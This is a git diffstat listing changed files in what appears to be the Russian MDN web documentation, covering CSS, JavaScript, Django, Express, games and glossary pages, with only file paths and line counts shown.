aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--files/ru/conflicting/learn/css/building_blocks/cascade_and_inheritance/index.html12
-rw-r--r--files/ru/conflicting/learn/css/building_blocks/selectors/index.html2
-rw-r--r--files/ru/conflicting/learn/css/building_blocks/selectors_918fb6c37a4d06789bc062c48d591992/index.html18
-rw-r--r--files/ru/conflicting/learn/css/building_blocks/styling_tables/index.html8
-rw-r--r--files/ru/conflicting/learn/css/first_steps/how_css_is_structured/index.html8
-rw-r--r--files/ru/conflicting/learn/css/first_steps/how_css_works_64ba4331a7a5f4319c6e06b06ccdd521/index.html4
-rw-r--r--files/ru/conflicting/learn/css/first_steps/how_css_works_b66915031fb62b5fee1201086144e209/index.html6
-rw-r--r--files/ru/conflicting/learn/css/first_steps/index.html4
-rw-r--r--files/ru/conflicting/learn/javascript/objects/index.html6
-rw-r--r--files/ru/conflicting/mdn/contribute/index.html10
-rw-r--r--files/ru/conflicting/mozilla/add-ons/index.html6
-rw-r--r--files/ru/conflicting/mozilla/firefox/releases/index.html2
-rw-r--r--files/ru/conflicting/tools/performance/index.html2
-rw-r--r--files/ru/conflicting/web/api/document_object_model/index.html2
-rw-r--r--files/ru/conflicting/web/api/document_object_model_5521049528397035462607d58539e0cc/index.html4
-rw-r--r--files/ru/conflicting/web/api/push_api/index.html8
-rw-r--r--files/ru/conflicting/web/api/web_storage_api/index.html16
-rw-r--r--files/ru/conflicting/web/api/webrtc_api/index.html2
-rw-r--r--files/ru/conflicting/web/api/webrtc_api/signaling_and_video_calling/index.html12
-rw-r--r--files/ru/conflicting/web/api/window/localstorage/index.html6
-rw-r--r--files/ru/conflicting/web/api/xmlhttprequest/index.html8
-rw-r--r--files/ru/conflicting/web/css/_colon_is/index.html4
-rw-r--r--files/ru/conflicting/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html24
-rw-r--r--files/ru/conflicting/web/css/gap/index.html2
-rw-r--r--files/ru/conflicting/web/css/url()/index.html2
-rw-r--r--files/ru/conflicting/web/http/cors/index.html4
-rw-r--r--files/ru/conflicting/web/http/csp/index.html4
-rw-r--r--files/ru/conflicting/web/javascript/guide/introduction/index.html2
-rw-r--r--files/ru/conflicting/web/javascript/guide/introduction_6f341ba6db4b060ccbd8dce4a0d5214b/index.html6
-rw-r--r--files/ru/conflicting/web/javascript/reference/global_objects/proxy/proxy/index.html2
-rw-r--r--files/ru/conflicting/web/javascript/reference/global_objects/regexp/index.html2
-rw-r--r--files/ru/conflicting/web/javascript/reference/global_objects/string/index.html2
-rw-r--r--files/ru/conflicting/web/javascript/reference/global_objects/weakmap/index.html6
-rw-r--r--files/ru/conflicting/web/javascript/reference/operators_69135a8d5772f8b6e45265523df05d89/index.html4
-rw-r--r--files/ru/conflicting/web/javascript/reference/operators_7c8eb9475d97a4a734c5991857698560/index.html36
-rw-r--r--files/ru/conflicting/web/javascript/reference/operators_843c998343f0cdaa5699874c806d4cea/index.html4
-rw-r--r--files/ru/conflicting/web/javascript/reference/operators_8d54701de06af40a7c984517cbe87b3e/index.html8
-rw-r--r--files/ru/conflicting/web/media/formats/index.html2
-rw-r--r--files/ru/games/anatomy/index.html34
-rw-r--r--files/ru/games/index.html16
-rw-r--r--files/ru/games/introduction/index.html14
-rw-r--r--files/ru/games/techniques/3d_on_the_web/building_up_a_basic_demo_with_three.js/index.html14
-rw-r--r--files/ru/games/techniques/3d_on_the_web/glsl_shaders/index.html2
-rw-r--r--files/ru/games/techniques/async_scripts/index.html4
-rw-r--r--files/ru/games/techniques/controls_gamepad_api/index.html26
-rw-r--r--files/ru/games/tools/asm.js/index.html8
-rw-r--r--files/ru/games/tools/index.html2
-rw-r--r--files/ru/games/tutorials/2d_breakout_game_phaser/build_the_brick_field/index.html2
-rw-r--r--files/ru/games/tutorials/2d_breakout_game_phaser/extra_lives/index.html4
-rw-r--r--files/ru/games/tutorials/2d_breakout_game_phaser/game_over/index.html2
-rw-r--r--files/ru/games/tutorials/2d_breakout_game_phaser/physics/index.html2
-rw-r--r--files/ru/games/tutorials/2d_breakout_game_phaser/player_paddle_and_controls/index.html2
-rw-r--r--files/ru/games/tutorials/2d_breakout_game_phaser/scaling/index.html2
-rw-r--r--files/ru/games/tutorials/2d_breakout_game_phaser/win_the_game/index.html2
-rw-r--r--files/ru/games/tutorials/2d_breakout_game_pure_javascript/bounce_off_the_walls/index.html14
-rw-r--r--files/ru/games/tutorials/2d_breakout_game_pure_javascript/build_the_brick_field/index.html8
-rw-r--r--files/ru/games/tutorials/2d_breakout_game_pure_javascript/collision_detection/index.html10
-rw-r--r--files/ru/games/tutorials/2d_breakout_game_pure_javascript/finishing_up/index.html4
-rw-r--r--files/ru/games/tutorials/2d_breakout_game_pure_javascript/game_over/index.html8
-rw-r--r--files/ru/games/tutorials/2d_breakout_game_pure_javascript/index.html6
-rw-r--r--files/ru/games/tutorials/2d_breakout_game_pure_javascript/mouse_controls/index.html4
-rw-r--r--files/ru/games/tutorials/2d_breakout_game_pure_javascript/paddle_and_keyboard_controls/index.html10
-rw-r--r--files/ru/games/tutorials/2d_breakout_game_pure_javascript/track_the_score_and_win/index.html12
-rw-r--r--files/ru/glossary/accessibility_tree/index.html4
-rw-r--r--files/ru/glossary/algorithm/index.html6
-rw-r--r--files/ru/glossary/application_context/index.html2
-rw-r--r--files/ru/glossary/arpanet/index.html2
-rw-r--r--files/ru/glossary/array/index.html2
-rw-r--r--files/ru/glossary/asynchronous/index.html2
-rw-r--r--files/ru/glossary/baseline/index.html2
-rw-r--r--files/ru/glossary/block/scripting/index.html2
-rw-r--r--files/ru/glossary/boolean/index.html2
-rw-r--r--files/ru/glossary/bootstrap/index.html2
-rw-r--r--files/ru/glossary/browsing_context/index.html2
-rw-r--r--files/ru/glossary/call_stack/index.html4
-rw-r--r--files/ru/glossary/callback_function/index.html4
-rw-r--r--files/ru/glossary/card_sorting/index.html2
-rw-r--r--files/ru/glossary/character/index.html2
-rw-r--r--files/ru/glossary/compile/index.html2
-rw-r--r--files/ru/glossary/computer_programming/index.html2
-rw-r--r--files/ru/glossary/conditional/index.html2
-rw-r--r--files/ru/glossary/constructor/index.html2
-rw-r--r--files/ru/glossary/cookie/index.html4
-rw-r--r--files/ru/glossary/cors/index.html14
-rw-r--r--files/ru/glossary/csp/index.html2
-rw-r--r--files/ru/glossary/csrf/index.html2
-rw-r--r--files/ru/glossary/css/index.html4
-rw-r--r--files/ru/glossary/decryption/index.html4
-rw-r--r--files/ru/glossary/developer_tools/index.html2
-rw-r--r--files/ru/glossary/dom/index.html2
-rw-r--r--files/ru/glossary/domain_name/index.html2
-rw-r--r--files/ru/glossary/dos_attack/index.html6
-rw-r--r--files/ru/glossary/encapsulation/index.html2
-rw-r--r--files/ru/glossary/first_contentful_paint/index.html2
-rw-r--r--files/ru/glossary/forbidden_header_name/index.html6
-rw-r--r--files/ru/glossary/gecko/index.html2
-rw-r--r--files/ru/glossary/git/index.html2
-rw-r--r--files/ru/glossary/grid/index.html6
-rw-r--r--files/ru/glossary/grid_column/index.html2
-rw-r--r--files/ru/glossary/hash/index.html2
-rw-r--r--files/ru/glossary/high-level_programming_language/index.html2
-rw-r--r--files/ru/glossary/hoisting/index.html8
-rw-r--r--files/ru/glossary/host/index.html2
-rw-r--r--files/ru/glossary/html/index.html4
-rw-r--r--files/ru/glossary/http/index.html2
-rw-r--r--files/ru/glossary/iife/index.html6
-rw-r--r--files/ru/glossary/isp/index.html2
-rw-r--r--files/ru/glossary/javascript/index.html4
-rw-r--r--files/ru/glossary/loop/index.html6
-rw-r--r--files/ru/glossary/object/index.html2
-rw-r--r--files/ru/glossary/php/index.html2
-rw-r--r--files/ru/glossary/port/index.html2
-rw-r--r--files/ru/glossary/primitive/index.html14
-rw-r--r--files/ru/glossary/promise/index.html2
-rw-r--r--files/ru/glossary/reflow/index.html4
-rw-r--r--files/ru/glossary/regular_expression/index.html2
-rw-r--r--files/ru/glossary/round_trip_time_(rtt)/index.html4
-rw-r--r--files/ru/glossary/semantics/index.html6
-rw-r--r--files/ru/glossary/seo/index.html6
-rw-r--r--files/ru/glossary/sloppy_mode/index.html2
-rw-r--r--files/ru/glossary/symbol/index.html6
-rw-r--r--files/ru/glossary/tag/index.html2
-rw-r--r--files/ru/glossary/tcp/index.html2
-rw-r--r--files/ru/glossary/time_to_interactive/index.html2
-rw-r--r--files/ru/glossary/user_agent/index.html2
-rw-r--r--files/ru/glossary/variable/index.html2
-rw-r--r--files/ru/glossary/viewport/index.html2
-rw-r--r--files/ru/glossary/world_wide_web/index.html8
-rw-r--r--files/ru/glossary/wrapper/index.html4
-rw-r--r--files/ru/learn/accessibility/css_and_javascript/index.html2
-rw-r--r--files/ru/learn/accessibility/html/index.html2
-rw-r--r--files/ru/learn/accessibility/index.html6
-rw-r--r--files/ru/learn/accessibility/wai-aria_basics/index.html8
-rw-r--r--files/ru/learn/accessibility/what_is_accessibility/index.html30
-rw-r--r--files/ru/learn/common_questions/available_text_editors/index.html6
-rw-r--r--files/ru/learn/common_questions/design_for_all_types_of_users/index.html26
-rw-r--r--files/ru/learn/common_questions/how_do_you_host_your_website_on_google_app_engine/index.html6
-rw-r--r--files/ru/learn/common_questions/how_does_the_internet_work/index.html10
-rw-r--r--files/ru/learn/common_questions/how_much_does_it_cost/index.html32
-rw-r--r--files/ru/learn/common_questions/index.html8
-rw-r--r--files/ru/learn/common_questions/pages_sites_servers_and_search_engines/index.html16
-rw-r--r--files/ru/learn/common_questions/set_up_a_local_testing_server/index.html12
-rw-r--r--files/ru/learn/common_questions/thinking_before_coding/index.html26
-rw-r--r--files/ru/learn/common_questions/upload_files_to_a_web_server/index.html10
-rw-r--r--files/ru/learn/common_questions/using_github_pages/index.html20
-rw-r--r--files/ru/learn/common_questions/what_are_hyperlinks/index.html8
-rw-r--r--files/ru/learn/common_questions/what_is_a_domain_name/index.html8
-rw-r--r--files/ru/learn/common_questions/what_is_a_url/index.html8
-rw-r--r--files/ru/learn/common_questions/what_is_a_web_server/index.html24
-rw-r--r--files/ru/learn/common_questions/what_software_do_i_need/index.html10
-rw-r--r--files/ru/learn/css/building_blocks/backgrounds_and_borders/index.html46
-rw-r--r--files/ru/learn/css/building_blocks/cascade_and_inheritance/index.html28
-rw-r--r--files/ru/learn/css/building_blocks/debugging_css/index.html58
-rw-r--r--files/ru/learn/css/building_blocks/fundamental_css_comprehension/index.html22
-rw-r--r--files/ru/learn/css/building_blocks/handling_different_text_directions/index.html6
-rw-r--r--files/ru/learn/css/building_blocks/images_media_form_elements/index.html20
-rw-r--r--files/ru/learn/css/building_blocks/overflowing_content/index.html4
-rw-r--r--files/ru/learn/css/building_blocks/selectors/attribute_selectors/index.html6
-rw-r--r--files/ru/learn/css/building_blocks/selectors/combinators/index.html8
-rw-r--r--files/ru/learn/css/building_blocks/selectors/pseudo-classes_and_pseudo-elements/index.html22
-rw-r--r--files/ru/learn/css/building_blocks/selectors/type_class_and_id_selectors/index.html2
-rw-r--r--files/ru/learn/css/building_blocks/styling_tables/index.html28
-rw-r--r--files/ru/learn/css/building_blocks/the_box_model/index.html26
-rw-r--r--files/ru/learn/css/building_blocks/values_and_units/index.html28
-rw-r--r--files/ru/learn/css/css_layout/flexbox/index.html8
-rw-r--r--files/ru/learn/css/css_layout/floats/index.html24
-rw-r--r--files/ru/learn/css/css_layout/grids/index.html74
-rw-r--r--files/ru/learn/css/css_layout/index.html24
-rw-r--r--files/ru/learn/css/css_layout/introduction/index.html54
-rw-r--r--files/ru/learn/css/css_layout/multiple-column_layout/index.html12
-rw-r--r--files/ru/learn/css/css_layout/normal_flow/index.html10
-rw-r--r--files/ru/learn/css/css_layout/positioning/index.html24
-rw-r--r--files/ru/learn/css/css_layout/practical_positioning_examples/index.html8
-rw-r--r--files/ru/learn/css/css_layout/responsive_design/index.html30
-rw-r--r--files/ru/learn/css/first_steps/getting_started/index.html28
-rw-r--r--files/ru/learn/css/first_steps/how_css_is_structured/index.html8
-rw-r--r--files/ru/learn/css/first_steps/how_css_works/index.html6
-rw-r--r--files/ru/learn/css/first_steps/index.html4
-rw-r--r--files/ru/learn/css/first_steps/using_your_new_knowledge/index.html2
-rw-r--r--files/ru/learn/css/first_steps/what_is_css/index.html14
-rw-r--r--files/ru/learn/css/howto/index.html2
-rw-r--r--files/ru/learn/css/index.html6
-rw-r--r--files/ru/learn/css/styling_text/fundamentals/index.html10
-rw-r--r--files/ru/learn/css/styling_text/index.html4
-rw-r--r--files/ru/learn/css/styling_text/styling_links/index.html52
-rw-r--r--files/ru/learn/css/styling_text/styling_lists/index.html30
-rw-r--r--files/ru/learn/css/styling_text/typesetting_a_homepage/index.html10
-rw-r--r--files/ru/learn/css/styling_text/web_fonts/index.html20
-rw-r--r--files/ru/learn/forms/form_validation/index.html50
-rw-r--r--files/ru/learn/forms/how_to_build_custom_form_controls/index.html72
-rw-r--r--files/ru/learn/forms/how_to_structure_a_web_form/index.html12
-rw-r--r--files/ru/learn/forms/index.html4
-rw-r--r--files/ru/learn/forms/sending_and_retrieving_form_data/index.html28
-rw-r--r--files/ru/learn/forms/sending_forms_through_javascript/index.html10
-rw-r--r--files/ru/learn/forms/styling_web_forms/index.html4
-rw-r--r--files/ru/learn/forms/your_first_form/index.html4
-rw-r--r--files/ru/learn/front-end_web_developer/index.html2
-rw-r--r--files/ru/learn/getting_started_with_the_web/css_basics/index.html38
-rw-r--r--files/ru/learn/getting_started_with_the_web/dealing_with_files/index.html14
-rw-r--r--files/ru/learn/getting_started_with_the_web/how_the_web_works/index.html14
-rw-r--r--files/ru/learn/getting_started_with_the_web/html_basics/index.html28
-rw-r--r--files/ru/learn/getting_started_with_the_web/index.html16
-rw-r--r--files/ru/learn/getting_started_with_the_web/installing_basic_software/index.html2
-rw-r--r--files/ru/learn/getting_started_with_the_web/javascript_basics/index.html20
-rw-r--r--files/ru/learn/getting_started_with_the_web/publishing_your_website/index.html20
-rw-r--r--files/ru/learn/getting_started_with_the_web/the_web_and_web_standards/index.html4
-rw-r--r--files/ru/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html6
-rw-r--r--files/ru/learn/html/howto/author_fast-loading_html_pages/index.html22
-rw-r--r--files/ru/learn/html/howto/index.html4
-rw-r--r--files/ru/learn/html/index.html8
-rw-r--r--files/ru/learn/html/introduction_to_html/advanced_text_formatting/index.html28
-rw-r--r--files/ru/learn/html/introduction_to_html/creating_hyperlinks/index.html34
-rw-r--r--files/ru/learn/html/introduction_to_html/debugging_html/index.html16
-rw-r--r--files/ru/learn/html/introduction_to_html/document_and_website_structure/index.html24
-rw-r--r--files/ru/learn/html/introduction_to_html/getting_started/index.html22
-rw-r--r--files/ru/learn/html/introduction_to_html/html_text_fundamentals/index.html60
-rw-r--r--files/ru/learn/html/introduction_to_html/index.html8
-rw-r--r--files/ru/learn/html/introduction_to_html/marking_up_a_letter/index.html6
-rw-r--r--files/ru/learn/html/introduction_to_html/structuring_a_page_of_content/index.html12
-rw-r--r--files/ru/learn/html/introduction_to_html/the_head_metadata_in_html/index.html12
-rw-r--r--files/ru/learn/html/multimedia_and_embedding/adding_vector_graphics_to_the_web/index.html24
-rw-r--r--files/ru/learn/html/multimedia_and_embedding/images_in_html/index.html18
-rw-r--r--files/ru/learn/html/multimedia_and_embedding/images_in_html/test_your_skills_colon__html_images/index.html2
-rw-r--r--files/ru/learn/html/multimedia_and_embedding/index.html8
-rw-r--r--files/ru/learn/html/multimedia_and_embedding/mozilla_splash_page/index.html6
-rw-r--r--files/ru/learn/html/multimedia_and_embedding/other_embedding_technologies/index.html26
-rw-r--r--files/ru/learn/html/multimedia_and_embedding/responsive_images/index.html12
-rw-r--r--files/ru/learn/html/multimedia_and_embedding/video_and_audio_content/index.html38
-rw-r--r--files/ru/learn/html/tables/advanced/index.html24
-rw-r--r--files/ru/learn/html/tables/basics/index.html46
-rw-r--r--files/ru/learn/html/tables/index.html2
-rw-r--r--files/ru/learn/html/tables/structuring_planet_data/index.html8
-rw-r--r--files/ru/learn/index.html2
-rw-r--r--files/ru/learn/javascript/asynchronous/async_await/index.html30
-rw-r--r--files/ru/learn/javascript/asynchronous/concepts/index.html22
-rw-r--r--files/ru/learn/javascript/asynchronous/introducing/index.html26
-rw-r--r--files/ru/learn/javascript/asynchronous/timeouts_and_intervals/index.html100
-rw-r--r--files/ru/learn/javascript/building_blocks/build_your_own_function/index.html36
-rw-r--r--files/ru/learn/javascript/building_blocks/conditionals/index.html60
-rw-r--r--files/ru/learn/javascript/building_blocks/events/index.html50
-rw-r--r--files/ru/learn/javascript/building_blocks/functions/index.html40
-rw-r--r--files/ru/learn/javascript/building_blocks/image_gallery/index.html8
-rw-r--r--files/ru/learn/javascript/building_blocks/looping_code/index.html76
-rw-r--r--files/ru/learn/javascript/building_blocks/return_values/index.html16
-rw-r--r--files/ru/learn/javascript/building_blocks/test_your_skills_colon__functions/index.html8
-rw-r--r--files/ru/learn/javascript/client-side_web_apis/client-side_storage/index.html30
-rw-r--r--files/ru/learn/javascript/client-side_web_apis/fetching_data/index.html44
-rw-r--r--files/ru/learn/javascript/client-side_web_apis/index.html6
-rw-r--r--files/ru/learn/javascript/client-side_web_apis/introduction/index.html2
-rw-r--r--files/ru/learn/javascript/client-side_web_apis/manipulating_documents/index.html54
-rw-r--r--files/ru/learn/javascript/client-side_web_apis/third_party_apis/index.html18
-rw-r--r--files/ru/learn/javascript/first_steps/a_first_splash/index.html78
-rw-r--r--files/ru/learn/javascript/first_steps/arrays/index.html30
-rw-r--r--files/ru/learn/javascript/first_steps/math/index.html40
-rw-r--r--files/ru/learn/javascript/first_steps/silly_story_generator/index.html26
-rw-r--r--files/ru/learn/javascript/first_steps/strings/index.html18
-rw-r--r--files/ru/learn/javascript/first_steps/useful_string_methods/index.html42
-rw-r--r--files/ru/learn/javascript/first_steps/variables/index.html44
-rw-r--r--files/ru/learn/javascript/first_steps/what_is_javascript/index.html38
-rw-r--r--files/ru/learn/javascript/first_steps/what_went_wrong/index.html48
-rw-r--r--files/ru/learn/javascript/howto/index.html6
-rw-r--r--files/ru/learn/javascript/index.html4
-rw-r--r--files/ru/learn/javascript/objects/adding_bouncing_balls_features/index.html24
-rw-r--r--files/ru/learn/javascript/objects/basics/index.html26
-rw-r--r--files/ru/learn/javascript/objects/index.html4
-rw-r--r--files/ru/learn/javascript/objects/inheritance/index.html36
-rw-r--r--files/ru/learn/javascript/objects/json/index.html32
-rw-r--r--files/ru/learn/javascript/objects/object-oriented_js/index.html18
-rw-r--r--files/ru/learn/javascript/objects/object_building_practice/index.html28
-rw-r--r--files/ru/learn/javascript/objects/object_prototypes/index.html42
-rw-r--r--files/ru/learn/performance/business_case_for_performance/index.html4
-rw-r--r--files/ru/learn/server-side/apache_configuration_htaccess/index.html4
-rw-r--r--files/ru/learn/server-side/django/admin_site/index.html32
-rw-r--r--files/ru/learn/server-side/django/authentication/index.html58
-rw-r--r--files/ru/learn/server-side/django/deployment/index.html82
-rw-r--r--files/ru/learn/server-side/django/development_environment/index.html24
-rw-r--r--files/ru/learn/server-side/django/django_assessment_blog/index.html16
-rw-r--r--files/ru/learn/server-side/django/forms/index.html96
-rw-r--r--files/ru/learn/server-side/django/generic_views/index.html98
-rw-r--r--files/ru/learn/server-side/django/home_page/index.html44
-rw-r--r--files/ru/learn/server-side/django/index.html12
-rw-r--r--files/ru/learn/server-side/django/introduction/index.html10
-rw-r--r--files/ru/learn/server-side/django/models/index.html58
-rw-r--r--files/ru/learn/server-side/django/sessions/index.html16
-rw-r--r--files/ru/learn/server-side/django/skeleton_website/index.html2
-rw-r--r--files/ru/learn/server-side/django/testing/index.html88
-rw-r--r--files/ru/learn/server-side/django/web_application_security/index.html20
-rw-r--r--files/ru/learn/server-side/express_nodejs/development_environment/index.html30
-rw-r--r--files/ru/learn/server-side/express_nodejs/displaying_data/author_list_page/index.html6
-rw-r--r--files/ru/learn/server-side/express_nodejs/displaying_data/book_list_page/index.html6
-rw-r--r--files/ru/learn/server-side/express_nodejs/displaying_data/bookinstance_list_page/index.html4
-rw-r--r--files/ru/learn/server-side/express_nodejs/displaying_data/date_formatting_using_moment/index.html2
-rw-r--r--files/ru/learn/server-side/express_nodejs/displaying_data/flow_control_using_async/index.html20
-rw-r--r--files/ru/learn/server-side/express_nodejs/displaying_data/genre_detail_page/index.html2
-rw-r--r--files/ru/learn/server-side/express_nodejs/displaying_data/home_page/index.html20
-rw-r--r--files/ru/learn/server-side/express_nodejs/displaying_data/index.html4
-rw-r--r--files/ru/learn/server-side/express_nodejs/displaying_data/template_primer/index.html14
-rw-r--r--files/ru/learn/server-side/express_nodejs/forms/create_bookinstance_form/index.html2
-rw-r--r--files/ru/learn/server-side/express_nodejs/forms/delete_author_form/index.html10
-rw-r--r--files/ru/learn/server-side/express_nodejs/forms/index.html26
-rw-r--r--files/ru/learn/server-side/express_nodejs/forms/update_book_form/index.html4
-rw-r--r--files/ru/learn/server-side/express_nodejs/index.html8
-rw-r--r--files/ru/learn/server-side/express_nodejs/introduction/index.html62
-rw-r--r--files/ru/learn/server-side/express_nodejs/mongoose/index.html88
-rw-r--r--files/ru/learn/server-side/express_nodejs/routes/index.html40
-rw-r--r--files/ru/learn/server-side/express_nodejs/skeleton_website/index.html30
-rw-r--r--files/ru/learn/server-side/express_nodejs/tutorial_local_library_website/index.html2
-rw-r--r--files/ru/learn/server-side/first_steps/index.html6
-rw-r--r--files/ru/learn/server-side/first_steps/web_frameworks/index.html4
-rw-r--r--files/ru/learn/server-side/first_steps/website_security/index.html54
-rw-r--r--files/ru/learn/server-side/index.html6
-rw-r--r--files/ru/learn/server-side/node_server_without_framework/index.html4
-rw-r--r--files/ru/learn/tools_and_testing/client-side_javascript_frameworks/react_getting_started/index.html4
-rw-r--r--files/ru/learn/tools_and_testing/cross_browser_testing/feature_detection/index.html48
-rw-r--r--files/ru/learn/tools_and_testing/cross_browser_testing/html_and_css/index.html2
-rw-r--r--files/ru/learn/tools_and_testing/cross_browser_testing/index.html12
-rw-r--r--files/ru/learn/tools_and_testing/cross_browser_testing/introduction/index.html16
-rw-r--r--files/ru/learn/tools_and_testing/github/index.html8
-rw-r--r--files/ru/mdn/about/index.html2
-rw-r--r--files/ru/mdn/contribute/feedback/index.html2
-rw-r--r--files/ru/mdn/contribute/getting_started/index.html8
-rw-r--r--files/ru/mdn/contribute/howto/convert_code_samples_to_be_live/index.html2
-rw-r--r--files/ru/mdn/contribute/howto/report_a_problem/index.html8
-rw-r--r--files/ru/mdn/contribute/howto/write_a_new_entry_in_the_glossary/index.html12
-rw-r--r--files/ru/mdn/contribute/processes/index.html2
-rw-r--r--files/ru/mdn/tools/kumascript/troubleshooting/index.html4
-rw-r--r--files/ru/mdn/tools/unsupported_get_api/index.html2
-rw-r--r--files/ru/mozilla/add-ons/index.html8
-rw-r--r--files/ru/mozilla/add-ons/webextensions/anatomy_of_a_webextension/index.html4
-rw-r--r--files/ru/mozilla/add-ons/webextensions/api/cookies/index.html4
-rw-r--r--files/ru/mozilla/add-ons/webextensions/api/index.html2
-rw-r--r--files/ru/mozilla/add-ons/webextensions/api/webrequest/index.html6
-rw-r--r--files/ru/mozilla/add-ons/webextensions/chrome_incompatibilities/index.html2
-rw-r--r--files/ru/mozilla/add-ons/webextensions/intercept_http_requests/index.html2
-rw-r--r--files/ru/mozilla/add-ons/webextensions/internationalization/index.html42
-rw-r--r--files/ru/mozilla/add-ons/webextensions/manifest.json/permissions/index.html2
-rw-r--r--files/ru/mozilla/add-ons/webextensions/manifest.json/version/index.html2
-rw-r--r--files/ru/mozilla/add-ons/webextensions/modify_a_web_page/index.html2
-rw-r--r--files/ru/mozilla/add-ons/webextensions/user_interface/browser_action/index.html8
-rw-r--r--files/ru/mozilla/add-ons/webextensions/user_interface/index.html6
-rw-r--r--files/ru/mozilla/add-ons/webextensions/user_interface/sidebars/index.html6
-rw-r--r--files/ru/mozilla/add-ons/webextensions/what_are_webextensions/index.html4
-rw-r--r--files/ru/mozilla/add-ons/webextensions/your_first_webextension/index.html4
-rw-r--r--files/ru/mozilla/add-ons/webextensions/your_second_webextension/index.html26
-rw-r--r--files/ru/mozilla/developer_guide/index.html8
-rw-r--r--files/ru/mozilla/developer_guide/inner_and_outer_windows/index.html4
-rw-r--r--files/ru/mozilla/developer_guide/introduction/index.html6
-rw-r--r--files/ru/mozilla/firefox/index.html8
-rw-r--r--files/ru/mozilla/firefox/releases/1.5/using_firefox_1.5_caching/index.html2
-rw-r--r--files/ru/mozilla/firefox/releases/32/index.html4
-rw-r--r--files/ru/mozilla/firefox/releases/33/index.html2
-rw-r--r--files/ru/mozilla/firefox/releases/43/index.html14
-rw-r--r--files/ru/mozilla/firefox/releases/50/index.html2
-rw-r--r--files/ru/mozilla/firefox/releases/53/index.html10
-rw-r--r--files/ru/mozilla/firefox/releases/58/index.html4
-rw-r--r--files/ru/mozilla/firefox/releases/59/index.html6
-rw-r--r--files/ru/mozilla/firefox/releases/63/index.html2
-rw-r--r--files/ru/mozilla/firefox/releases/64/index.html4
-rw-r--r--files/ru/mozilla/firefox/releases/65/index.html2
-rw-r--r--files/ru/mozilla/firefox/releases/68/index.html8
-rw-r--r--files/ru/orphaned/learn/how_to_contribute/index.html4
-rw-r--r--files/ru/orphaned/learn/html/forms/html5_updates/index.html10
-rw-r--r--files/ru/orphaned/mdn/community/conversations/index.html2
-rw-r--r--files/ru/orphaned/mdn/community/index.html2
-rw-r--r--files/ru/orphaned/mdn/community/whats_happening/index.html2
-rw-r--r--files/ru/orphaned/mdn/community/working_in_community/index.html18
-rw-r--r--files/ru/orphaned/mdn/contribute/howto/create_an_mdn_account/index.html4
-rw-r--r--files/ru/orphaned/mdn/contribute/howto/do_a_technical_review/index.html2
-rw-r--r--files/ru/orphaned/mdn/contribute/howto/do_an_editorial_review/index.html2
-rw-r--r--files/ru/orphaned/mdn/contribute/howto/set_the_summary_for_a_page/index.html2
-rw-r--r--files/ru/orphaned/mdn/contribute/howto/tag_javascript_pages/index.html4
-rw-r--r--files/ru/orphaned/mdn/editor/basics/index.html8
-rw-r--r--files/ru/orphaned/mdn/editor/basics/page_controls/index.html2
-rw-r--r--files/ru/orphaned/mdn/editor/basics/toolbar/index.html52
-rw-r--r--files/ru/orphaned/mdn/editor/images/index.html2
-rw-r--r--files/ru/orphaned/mdn/editor/links/index.html2
-rw-r--r--files/ru/orphaned/mdn/tools/page_watching/index.html14
-rw-r--r--files/ru/orphaned/tools/add-ons/dom_inspector/index.html4
-rw-r--r--files/ru/orphaned/web/api/web_crypto_api/checking_authenticity_with_password/index.html4
-rw-r--r--files/ru/orphaned/web/html/element/element/index.html6
-rw-r--r--files/ru/orphaned/web/html/global_attributes/dropzone/index.html6
-rw-r--r--files/ru/orphaned/web/javascript/guide/ΠΎΠ±_этом_руководствС/index.html6
-rw-r--r--files/ru/orphaned/web/security/information_security_basics/index.html2
-rw-r--r--files/ru/orphaned/Π²Π΅Π±-стандарты/index.html2
-rw-r--r--files/ru/orphaned/динамичСски_измСняСмый_ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ_интСрфСйс_Π½Π°_xul/index.html8
-rw-r--r--files/ru/orphaned/настройка_срСды_Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ_Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠΉ/index.html6
-rw-r--r--files/ru/orphaned/ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄_с_internet_explorer_Π½Π°_mozilla/index.html2
-rw-r--r--files/ru/orphaned/созданиС_Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ/index.html22
-rw-r--r--files/ru/orphaned/созданиС_Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ/настройка_firefox_для_Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ/index.html2
-rw-r--r--files/ru/orphaned/созданиС_Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ/настройка_firefox_для_Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ_Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠΉ/index.html2
-rw-r--r--files/ru/orphaned/справочная_информация_ΠΏΠΎ_gecko_dom/Π²Π²Π΅Π΄Π΅Π½ΠΈΠ΅/index.html10
-rw-r--r--files/ru/orphaned/справочная_информация_ΠΏΠΎ_gecko_dom/прСдисловиС/index.html2
-rw-r--r--files/ru/plugins/roadmap/index.html4
-rw-r--r--files/ru/tools/3d_view/index.html4
-rw-r--r--files/ru/tools/accessibility_inspector/index.html2
-rw-r--r--files/ru/tools/debugger/index.html2
-rw-r--r--files/ru/tools/debugger/source_map_errors/index.html4
-rw-r--r--files/ru/tools/index.html8
-rw-r--r--files/ru/tools/network_monitor/index.html6
-rw-r--r--files/ru/tools/page_inspector/how_to/edit_css_shapes/index.html22
-rw-r--r--files/ru/tools/page_inspector/how_to/examine_and_edit_css/index.html2
-rw-r--r--files/ru/tools/page_inspector/how_to/examine_event_listeners/index.html2
-rw-r--r--files/ru/tools/page_inspector/how_to/inspect_and_select_colors/index.html2
-rw-r--r--files/ru/tools/page_inspector/how_to/work_with_animations/index.html14
-rw-r--r--files/ru/tools/performance/index.html4
-rw-r--r--files/ru/tools/performance/waterfall/index.html2
-rw-r--r--files/ru/tools/remote_debugging/debugging_firefox_desktop/index.html2
-rw-r--r--files/ru/tools/remote_debugging/index.html4
-rw-r--r--files/ru/tools/responsive_design_mode/index.html2
-rw-r--r--files/ru/tools/shader_editor/index.html2
